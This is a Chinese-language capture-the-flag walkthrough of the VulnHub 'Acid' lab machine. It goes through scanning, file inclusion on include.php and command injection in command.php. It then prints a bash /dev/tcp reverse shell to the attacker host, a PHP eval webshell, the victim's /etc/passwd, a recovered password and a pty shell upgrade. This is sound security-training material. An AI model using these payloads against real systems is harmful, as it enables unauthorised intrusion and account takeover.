前言

本次的实验的靶机是VulnHub上的Acid靶机, https://www.vulnhub.com/entry/acid-server,125/ 。下载下来的文件是ova文件,导入vmware或是virtual box即可,要把网络模式调节为DHCP,默认好像是桥接模式。

信息收集

第一步先收集靶机信息,先确定靶机地址nmap -sP 192.168.247.1/24

1
2
3
4
5
6
7
8
9
10
11
kali@kali:~/Pictures$ nmap -sP 192.168.247.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-12 11:06 EDT
Nmap scan report for 192.168.247.1
Host is up (0.00086s latency).
Nmap scan report for 192.168.247.2
Host is up (0.00071s latency).
Nmap scan report for 192.168.247.210
Host is up (0.00036s latency).
Nmap scan report for 192.168.247.212
Host is up (0.00083s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.98 seconds

192.168.247.210是攻击机kali的ip地址,所以靶机的ip地址就是192.168.247.212

然后用nmap看看目标主机上开启了什么服务,nmap -p1-65525 -A 192.168.247.212 -oN /tmp/Acid.txt

1
2
3
4
5
6
7
8
9
10
11
12
kali@kali:~/Pictures$ nmap -p1-65535 -A 192.168.247.212 -oN /tmp/Acid.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-12 11:07 EDT
Nmap scan report for 192.168.247.212
Host is up (0.0012s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
33447/tcp open http Apache httpd 2.4.10 ((Ubuntu))
|_http-server-header: Apache/2.4.10 (Ubuntu)
|_http-title: /Challenge

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.93 seconds

目标主机上开启了apache服务。

漏洞挖掘

访问网页看看是什么东西:

1

发现标签页上写着/Challenge,说明网页存在子目录http://192.168.247.212:33447/Challenge。然后F12查看源码代码发现一串可疑的hex码0x643239334c6d70775a773d3d

2

用burpsuite解码后发现是一串base64编码的字符串,再次解码,得到一个字符串wow.jpg,这是一张图片啊:

3

但是直接去访问http://192.168.247.212:33447/Challenge/wow.jpg或是http://192.168.247.212:33447/wow.jpg都是404 not found,说明这个wow.jpg并不在web root目录或是Challenge目录下。先用dirb快速地扫一下目录:

4

仅发现了两个目录:

1
2
/css
/images

这图片十分有可能在目录images/下,访问http://192.168.247.212:33447/images/wow.jpg,果然找到了图片:

5

我们把这张图片下载下来:

wow

这张图片中肯定有点什么猫腻,直接cat命令查看一下:

6

得到一串序列:37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34

去掉其中地:就是3761656530663664353838656439393035656533376631366137633631306434,拿到burp的decode模块中解码,得到了一串md5值:

7

那只能拿去解码看看:

8

解码得到63425,这可能是什么登录密码。但是目前我们没有更多的信息。

爆破目录

我们用Dirbuster爆破一下网站目录和文件,用大一点的字典比较好:

9

看一下树形结构图会更清楚:

10

目前爆出的网页有:

1
2
3
4
5
6
7
8
9
/Challenge
-- index.php
-- inlucde.php
/ includes
-- logout.php
-- funtions.php
-- error.php
-- cake.php
-- hacked.php

依次访问,首先是/Challenge/index.php

11

这是一个登录界面,猜测应该还有一个注册界面register.php,但是事实是没有。。。右键源码也没发现什么有价值的东西,继续看别的页面。

然后是/Challenge/include.php页面,但是第一次访问它直接跳转到了protected_page.php,根据提示,是没有身份凭证,无法访问该页面,需要先login:

13

那先访问/Challenge/cake.php

14

乍一看好像也没有什么特别的信息,但是看页面的标签,发现了一个新的目录/Magic_Box,是之前没有扫出来的。直接访问该目录是禁止的:

23

然后我随便尝试了下登录,奇怪的是,再去尝试访问Challenge/hacked.php已经有其他信息了,要求你输入一个id:

19

这里很自然的就想到是前面得到的md5解密后的63425,emmm…但是输入后什么用都没有…难道就是一个障眼法?

接着访问include.php

12

尝试提取/etc/passwd,提交后发现快速闪过该文件内容,所以用burp抓包观察一下:

15

所以/Challenge/include.php文件中存在一个文件包含漏洞。那接下来就依次读取一下每一个文件的源码:

1
2
3
4
5
6
7
8
9
10
GET /Challenge/include.php?file=index.php&add=Extract+File HTTP/1.1
Host: 192.168.247.212:33447
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.247.212:33447/Challenge/include.php
Connection: close
Cookie: sec_session_id=uck7i7csfrppq7gc0o2hf93uk0
Upgrade-Insecure-Requests: 1

但是返回的结果全都是html页面源码,那么再用Dirbuster爆破一下目录/Challenge/Magic_Box,注意一定要将Dir to start with修改为/Challenge/Magic_Box,否则会从网站根目录/开始扫描:

16

扫出了两个新文件/Challenge/Magic_Box/low.php/Challenge/Magic_Box/command.php

17

访问/Challenge/Magic_Box/low.php没有回显,但是command.php要求我们输入一个ip:

18

这种题目之前的ctf见过很多了,就是命令执行。直接输入127.0.0.1;ls看什么效果:

20

执行了命令,确实存在命令执行漏洞。

get shell

反弹shell

既然在/Challenge/Magic_Box/command.php中存在一个命令执行漏洞,那就可以通过反弹shell来控制目标主机:

1
127.0.0.1;echo "bash -i >& /dev/tcp/192.168.247.210/23333 0>&1" | bash

21

然后希望向目标主机写入一个shell,方便后续链接蚁剑上传文件,发现只有Challenge目录有写权限drw-rw-rwx

1
2
3
4
5
6
7
8
9
10
11
12
13
ww-data@acid:/var/www/html$ ls -al
ls -al
total 24
drwxr-xr-x 5 root root 4096 Aug 5 2015 .
drwxr-xr-x 3 root root 4096 Aug 4 2015 ..
drw-rw-rwx 8 root root 4096 Aug 6 2015 Challenge
drwxrwxr-x 2 acid acid 4096 Aug 5 2015 css
drwxrwxr-x 2 acid acid 4096 Aug 5 2015 images
-rw-r--r-- 1 acid acid 899 Aug 5 2015 index.html
www-data@acid:/var/www/html$ cd Challenge
cd Challenge
www-data@acid:/var/www/html/Challenge$ echo '<?php eval($_GET[1]);?>' > shell.php
</Challenge$ echo '<?php eval($_GET[1]);?>' > shell.php

然后连接上蚁剑后是这样的,有点懵…什么情况?

22

提权

本来我的想法是根据当前的内核版本,看看有没有相关漏洞,进行一个本地提权。但是似乎当前的shell提供的命令很少,连gcc编译都无法进行。联想到前面利用/Challenge/include.php文件包含漏洞获得的/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:104:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:105:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:106:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:107:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:110::/home/syslog:/bin/false
messagebus:x:105:112::/var/run/dbus:/bin/false
uuidd:x:106:113::/run/uuidd:/bin/false
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/bin/false
ntp:x:108:117::/home/ntp:/bin/false
whoopsie:x:109:118::/nonexistent:/bin/false
acid:x:1000:1000:acid,,,:/home/acid:/bin/bash
mysql:x:111:126:MySQL Server,,,:/nonexistent:/bin/false
saman:x:1001:1001:,,,:/home/saman:/bin/bash

最后一个字段是当用户登录系统后被分配的shell,可以看到只有3个用户登录后是标准shell,分别是:

1
2
3
root:x:0:0:root:/root:/bin/bash
acid:x:1000:1000:acid,,,:/home/acid:/bin/bash
saman:x:1001:1001:,,,:/home/saman:/bin/bash

其余的用户对应的shell是/bin/false/usr/sbin/nologin

/bin/false : 最严格的禁止login选项,一切服务都不能用。将用户的shell设置为/bin/false,用户会无法登录,并且不会有任何提示

/usr/sbin/nologin : 只是不允许login系统,即使给了密码也不行,但是可以使用主机上的一些服务。

但是因为切换到其他用户需要密码,搜索一下与该用户相关的文件

1
find / -user acid 2>/dev/null

2>/dev/null表示不输出标准错误。linux系统预留了三个文件描述符:0,1和2,它们的意义为:

0 : 标准输入(stdin)

1 : 标准输出(stdout)

2 : 标准错误(stderr)

24

一个可以的pcapng流量包,将其下载到攻击机kali进行分析:

1
2
3
4
www-data@acid:/var/www/html/Challenge/Magic_Box$ scp /sbin/raw_vs_isi/hint.pcapng 192.168.247.210:/home/kali/Downloads
</sbin/raw_vs_isi/hint.pcapng 192.168.247.210:/home/kali/Downloads
ssh: connect to host 192.168.247.210 port 22: Connection refused
lost connection

scp命令用不了,应该是ssh服务没有安装好。因为python内置了一个简单的http服务,那就用python开一个http服务。进入需要分享的文件所在目录,执行下面一行命令:

1
python -m SimpleHTTPServer 80

访问目标主机的80端口就能下载该文件。wireshark打开后,跟踪tcp流:

25

发现saman用户的密码1337hax0r

获取标准shell

然后susaman用户,但是因为当前的shell权限不足,运行失败:

1
2
3
www-data@acid:/var/www/html/Challenge/Magic_Box$ su saman
su saman
su: must be run from a terminal

所以首先要获得一个标准shell。

这表明,必须先获得一个标准shell。这里可以借用python的pty模块,pty模块允许派生一个psuedo-terminal,它可以欺骗像su这样的命令,使其认为它们是在一个合适的终端中被执行的。要升级shell,只需要运行以下命令:

1
python -c 'import pty; pty.spawn("/bin/bash")'

这样就可以获得一个标准shell,su命令已经可以正常运行:

1
2
3
4
5
6
7
8
9
www-data@acid:/var/www/html/Challenge/Magic_Box$ python -c 'import pty; pty.spawn("/bin/bash")'
</Challenge/Magic_Box$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@acid:/var/www/html/Challenge/Magic_Box$ su saman
su saman
Password: 1337hax0r

saman@acid:/var/www/html/Challenge/Magic_Box$ id
id
uid=1001(saman) gid=1001(saman) groups=1001(saman)

到目前为止,已经成功获得了目标主机的控制。